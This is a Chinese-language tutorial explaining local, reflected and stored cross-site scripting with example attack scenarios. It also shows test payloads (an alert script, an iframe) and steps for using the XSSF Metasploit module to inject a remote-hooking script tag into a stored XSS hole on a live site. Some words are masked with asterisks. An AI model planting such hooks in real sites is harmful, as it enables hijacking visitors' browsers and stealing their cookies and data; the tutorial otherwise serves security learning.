XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。網頁在於用戶互動的過程中存在用戶構造特定指令來讓網頁執行非預定任務。這裏有點sql注入的趕腳。
XSS漏洞按照***利用手法的不同,有以下三種類型:
類型A,本地利用漏洞,這種漏洞存在於頁面中客戶端腳本自身。其***過程如下所示:
Alice給Bob發送一個惡意構造了Web的URL。
Bob點擊並查看了這個URL。
惡意頁面中的JavaScript打開一個具有漏洞的HTML頁面並將其安裝在Bob電腦上。
具有漏洞的HTML頁面包含了在Bob電腦本地域執行的JavaScript。
Alice的惡意腳本可以在Bob的電腦上執行Bob所持有的權限下的命令。
類型B,反射式漏洞,這種漏洞和類型A有些類似,不同的是Web客戶端使用Server端腳本生成頁面爲用戶提供數據時,如果未經驗證的用戶數據被包含在頁面中而未經HTML實體編碼,客戶端代碼便能夠注入到動態頁面中。其***過程如下:
Alice經常瀏覽某個網站,此網站爲Bob所擁有。Bob的站點運行Alice使用用戶名/密碼進行登錄,並存儲敏感信息(比如銀行帳戶信息)。
Charly發現Bob的站點包含反射性的XSS漏洞。
Charly編寫一個利用漏洞的URL,並將其冒充爲來自Bob的郵件發送給Alice。
Alice在登錄到Bob的站點後,瀏覽Charly提供的URL。
嵌入到URL中的惡意腳本在Alice的瀏覽器中執行,就像它直接來自Bob的服務器一樣。此腳本盜竊敏感信息(授權、信用卡、帳號信息等)然後在Alice完全不知情的情況下將這些信息發送到Charly的Web站點。
類型C,存儲式漏洞,該類型是應用最爲廣泛而且有可能影響到Web服務器自身安全的漏洞,駭客將***腳本上傳到Web服務器上,使得所有訪問該頁面的用戶都面臨信息泄漏的可能,其中也包括了Web服務器的管理員。其***過程如下:
Bob擁有一個Web站點,該站點允許用戶發佈信息/瀏覽已發佈的信息。
Charly注意到Bob的站點具有類型C的XSS漏洞。
Charly發佈一個熱點信息,吸引其它用戶紛紛閱讀。
Bob或者是任何的其他人如Alice瀏覽該信息,其會話cookies或者其它信息將被Charly盜走。
類型A直接威脅用戶個體,而類型B和類型C所威脅的對象都是企業級Web應用。
Xss漏洞的探查過程:
寫一個實驗腳本來看網站是否將我們寫的腳本也當做指令來執行了,由此判斷是否有xss漏洞。存儲型xss漏洞。
<script>alert(“xss”)</script>
增加行內框架,爲下一步做準備
<iframe src=”http://www.baidu.com “ width=“” height=“”></iframe>
這裏寫出一個標記來實現插入鏈接的目的。前面 我們已經確認了此處已存在漏洞,那麼這一步就是具體的來利用了。
跨站***
Xss的高級利用:xssf
Xssf的安裝過程:在我們的kali或者bt中,並沒有直接預裝xssf,我們使用xssf時需要自己從Googlecode上面下,但是Googlecode上的下載可能會被牆,所以我們需要用另外種方法來完成安裝。
http://www.freebuf.com/articles/system/8440.html
首先把Googlecode上的xssf轉到github上去,然後從github上將xssf下載下來。下載下來之後,解壓,將解壓的子文件夾裏面的文件複製到我們kali中的msf相對文件夾裏,接下來就可以進入msfconsole,load xssf了。
Xssf的運用實例:http://www.2cto.com/Article/201212/173287.html
Xssf中有多種命令
我們在xssf_urls中獲得我們xssf連接的鏈接
我們將xssf_urls中得到的鏈接寫入到我們之前發現的存儲型漏洞中,然後,當其他人瀏覽這個鏈接後就會中招。鏈接從genericxss injection中獲取。
這裏我們可以寫入<script type=”text/javascript” src=”http://.....”></script>
別人中招後,我們可以查看他的相關信息。
Xss原理與剖析:http://www.freebuf.com/articles/web/40520.html
三種xss方式及解析:http://www.freebuf.com/articles/web/42727.html
跨站腳本***初探:http://netsecurity.51cto.com/art/201301/376873.htm